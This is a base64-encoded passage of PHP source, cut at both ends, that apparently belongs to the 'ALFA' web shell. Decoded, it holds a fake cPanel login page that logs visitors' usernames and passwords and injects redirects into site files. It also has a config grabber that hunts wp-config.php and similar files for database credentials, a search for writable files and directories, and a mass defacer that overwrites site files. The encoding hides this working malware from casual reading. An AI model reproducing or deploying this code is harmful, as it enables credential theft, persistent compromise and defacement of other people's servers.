yb290KSl7CgkJCQkJQG1rZGlyKCRmYWtlX3Jvb3QsIDA3NzcsIHRydWUpOwoJCQkJfQoKCQkJCSRjb29raWVfbmFtZSA9ICJhbGZhX2Zha2VwYWdlX2NvdW50ZXIiIC4gcmFuZCg5OTk5LDk5OTk5KTsKCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOwoJCQkJJHBvc3RfcGFzcyA9ICdwYXNzJzsKCQkJCSRyZXNwX2NvZGUgPSAnaWYoZW1wdHkoJHVzZXIpKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJtZXNzYWdlIiA9PiAibm9fdXNlcm5hbWUiKSk7fWVsc2V7aHR0cF9yZXNwb25zZV9jb2RlKDQwMSk7fSc7CgkJCQlpZigkcGFuZWwgIT0gImNwYW5lbCIpewoJCQkJCSRwb3N0X3VzZXIgPSAndXNlcm5hbWUnOwoJCQkJCSRwb3N0X3Bhc3MgPSAncGFzc3dvcmQnOwoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQX1JFRkVSRVJcJ10pOyc7CgkJCQl9CgoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGFzcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50KSRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9sb2cucGhwJywgJGNwYW5lbF9sb2cpOwoKCQkJCWlmKCRwYW5lbCA9PSAiY3BhbmVsIil7CgkJCQkJJGZha2UgPSBwcmVnX3JlcGxhY2UoYXJyYXkoJyM8bGluayguKilocmVmPSIoLiopIiguKik+IycsICcjPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IiguKikiKC4qKT4jJywgJyMgPGEoLiopaWQ9InJlc2V0X3Bhc3N3b3JkIj4jJyksIGFycmF5KCc8bGluayBocmVmPSInLiR0YXJnZXQuJy8kMiI+JywgJzxpbWcgY2xhc3M9Im1haW4tbG9nbyIgc3JjPSInLiR0YXJnZXQuJy8kMSIgYWx0PSJsb2dvIiAvPicsICc8YSBocmVmPSIjIiBpZD0icmVzZXRfcGFzc3dvcmQiPicpLCAkZmFrZSk7CgkJCQl9CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9pbmRleC5waHAnLCAkZmFrZSk7CgoJCQkJJGluamVjdF9jb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfR0VUWyI6MjA4MyJdKSYmKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcuJGNvdW50Licpe0BpbmNsdWRlKCInLiRmYWtlX3Jvb3QuJy9pbmRleC5waHAiKTtleGl0O30/Pic7CgkJCQkkYmluZF9vbl9jb2RlID0gJzw/cGhwIGlmKChpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaGVhZGVyKCJMb2NhdGlvbjogJy4kdXJpLiciKTtleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRpbmplY3RfdG8sICRpbmplY3RfY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkaW5qZWN0X3RvKSk7CgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGJpbmRfb24sICRiaW5kX29uX2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGJpbmRfb24pKTsKCgkJCQllY2hvICJzdWNjZXNzLi4uISI7CgkJCX1lbHNlewoJCQkJZWNobyAiZmFpbGVkLi4uISI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFhcmNoaXZlX21hbmFnZXIoKXsKCWFsZmFoZWFkKCk7CgkkZmlsZSA9ICRfUE9TVFsnYWxmYTInXTsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewoJCSRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJfQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk5OTk5OSk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFyY2hpdmUgTWFuYWdlciB8PC9kaXY+PC9wPic7CgllY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglBcmNoaXZlIGZpbGU6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9IicuJGZpbGUuJyI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CglpZigkX1BPU1RbJ2FsZmE1J109PSc+PicpewoJCS8vZWNobyBfX3ByZSgpOwoJCWVjaG8gJzxocj48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMTJweDsiIGFyY2hpdmVfZnVsbD0icGhhcjovLycuJGZpbGUuJyIgYXJjaGl2ZV9uYW1lPSInLmJhc2VuYW1lKCRmaWxlKS4nIiBpZD0iYXJjaGl2ZV9kaXJfJy4kcmFuZF9pZC4nIiBjbGFzcz0iYXJjaGl2ZV9kaXJfaG9sZGVyIj48c3Bhbj5QV0Q6IDwvc3Bhbj48ZGl2IGNsYXNzPSJhcmNoaXZlX3B3ZF9ob2xkZXIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jayI+PGE+LzwvYT48L2Rpdj48L2Rpdj4nOwoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsKCQlfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyYW5kX2lkKTsKCQllY2hvICc8L2Rpdj4nOwoJfQoJZWNobyAnPC9kaXY+JzsKCWFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGFyY2gsICRiYXNlX2lkPTApewoJdHJ5ewoJCSRmaWxlcyA9IGFycmF5KCk7CgkJJGRpcnMgPSBhcnJheSgpOwoJCSRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgewoJCQkgJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSkpOwoJCSAgICAgaWYoJGZpbGUtPmlzRGlyKCkpIHsKCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKCQkgICAgIH1lbHNlewoJCQkJICRmaWxlX3NpemUgPSBAZmlsZXNpemUoJGZpbGUtPmdldFBhdGhuYW1lKCkpOwoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsKCQkJIH0KCQkgfQoJCSBmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CgkJCSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CgkJIH0KCQkgdXNvcnQoJGRpcnMsICJfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7CgkJIHVzb3J0KCRmaWxlcywgIl9fYWxmYV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKCQkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7CgkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CgkJIGVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgZm5hbWU9Ii4uIiBvbmNsaWNrPSJhbGZhT3BlbkFyY2hpdmUodGhpcyk7IiBwYXRoPSInLmRpcm5hbWUoJGFyY2guJy5waHAnKS4nIj4nLiRpY29uLic8c3BhbiBjbGFzcz0iYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1kaXIiPnwgLi4gfDwvc3Bhbj48L2E+PHRkPmRpcjwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPic7CgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbigkZmlsZVsnbmFtZSddLCRmaWxlWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzsKCQkJIGlmKCRmaWxlWyJ0eXBlIl0gPT0gImRpciIpewoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgb25jbGljaz0iYWxmYU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwoJCSAJfWVsc2V7CgkJCQllY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2VfaWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5hbGZhU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvdHI+IjsKCgkJCX0KCQkgfQoJCSAgZWNobyAnPC90YWJsZT4nOwoJfWNhdGNoKEV4Y2VwdGlvbiAkZSl7CgkJZWNobygiMCIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFvcGVuX2FyY2hpdmVfZGlyKCl7CgkkZGlyID0gJF9QT1NUWyJhbGZhMSJdOwoJJGJhc2VfaWQgPSAkX1BPU1RbImFsZmEyIl07CglfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGRpciwgJGJhc2VfaWQpOwp9CmZ1bmN0aW9uIGFsZmFjb25maWdfZ3JhYmJlcigpewoJYWxmYWhlYWQoKTsKCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOwoJZWNobyAnPGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdjb25maWdfZ3JhYmJlclwnLG51bGwsbnVsbCx0aGlzLmRpci52YWx1ZSx0aGlzLmV4dC52YWx1ZSxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CglFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CgkkZGlyID0gJF9QT1NUWydhbGZhMiddOwoJJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKCWlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7CgkJZWNobyBfX3ByZSgpOwoJCUFsZmFfQ29uZmlnR3JhYmJlcigkZGlyLCAkZXh0KTsKCX0KCWVjaG8gJzwvZGl2Pic7CglhbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsKCSRwYXR0ZXJuID0gIiNkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUKD86J3xcIilbIF17MCx9fGRlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX0hPU1ROQU1FKD86J3xcIilbIF17MCx9fGNvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXXwoPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpfCg/Oid8XCIpKG15c3FsfGRhdGFiYXNlKSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfWFycmF5fGRiX25hbWV8ZGJfdXNlcnxkYl9wYXNzfGRiX3NlcnZlcnxkYl9ob3N0fGRiaG9zdHxkYm5hbWV8ZGJ1c2VyfGRicGFzc3xkYXRhYmFzZV9uYW1lfGRhdGFiYXNlX3VzZXJ8ZGF0YWJhc2VfcGFzc3xteXNxbF91c2VyfG15c3FsX3Bhc3N8bXlzcWxpX2Nvbm5lY3R8bXlzcWxfY29ubmVjdHxuZXdbIF17MCx9bXlzcWxpI2kiOwoJJGRiX2ZpbGVzID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiLCAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CgkJJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwoJCSRnbG9iRGlycyAgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsKCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewoJCQlpZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CgkJCUBBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7CgkJfQoJCWZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewoJCQkkZmlsZWUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZmlsZWUpKXsKCQkJCWVjaG8gIjxkaXY+PHNwYW4+JGZpbGU8L3NwYW4+IDxhIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGUuIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCI+WyBWaWV3IGZpbGUgXTwvYT48L2Rpdj4iOwoJCQl9CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFzZWFyY2hlcigpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSdmaWxlJyl7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyAgfDwvZGl2Pjxicj48YnI+PGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcsdGhpcy5maWxlbmFtZS52YWx1ZSx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Ck1ldGhvZDogPHNlbGVjdCBzdHlsZT0id2lkdGg6IDE4JTsiIG9uY2xpY2s9ImFsZmFfc2VhcmNoZXJfdG9vbCh0aGlzLnZhbHVlKTsiIG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iZmlsZXMiPkZpbmQgQWxsIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlycyI+RmluZCBBbGwgV3JpdGFibGUgRGlyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFsbCI+RmluZCBBbGwgUmVhZGFibGUgQW5kIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciPgpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsKJGRpciA9ICRfUE9TVFsnYWxmYTInXTsKJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZihzdWJzdHIoJGRpciwtMSk9PScvJykkZGlyPXN1YnN0cigkZGlyLDAsLTEpOwpBbGZhX1NlYXJjaGVyKCRkaXIsdHJpbSgkZXh0KSwkbWV0aG9kKTsKfQp9CmlmKCRfUE9TVFsnYWxmYTEnXT09J3N0cicpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmEyJ107CiRzdHJpbmcgPSAkX1BPU1RbJ2FsZmEzJ107CiRleHQgPSAkX1BPU1RbJ2FsZmE1J107CmlmKCFlbXB0eSgkc3RyaW5nKSBBTkQgIWVtcHR5KCRkaXIpIEFORCAkX1BPU1RbJ2FsZmE0J10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOwp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDUsNiw3LDgsOSwxMCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gJzxkaXYgY2xhc3M9InR4dGZvbnQiPkRlZmFjZSBNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJpbmRleCI+RGVmYWNlIEluZGV4IERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgoJTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4KPC9mb3JtPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmExJ107CiRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOwokbWV0aG9kID0gJF9QT1NUWydhbGZhMyddOwokZkN1cnJlbnQgPSAkR0xPQkFMU1snX19maWxlX3BhdGgnXTsKaWYoJF9QT1NUWydhbGZhNCddID09ICc+PicpewppZighZW1wdHkoJGRpcikpewppZihAaXNfZGlyKCRkaXIpKXsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKaWYoQGlzX2ZpbGUoJGRlZnBhZ2UpKXsKaWYoJGRoID0gQG9wZW5kaXIoJGRpcikpewplY2hvIF9fcHJlKCk7CndoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4kZmlsZTsKaWYoJGZDdXJyZW50ID09ICRuZXdmaWxlKWNvbnRpbnVlOwppZihAaXNfZGlyKCRuZXdmaWxlKSl7CkFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKfWVsc2V7CmlmKCFAaXNfd3JpdGFibGUoJG5ld2ZpbGUpKWNvbnRpbnVlOwppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKQWxmYV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkVycm9yIEluIE9wZW5EaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9ud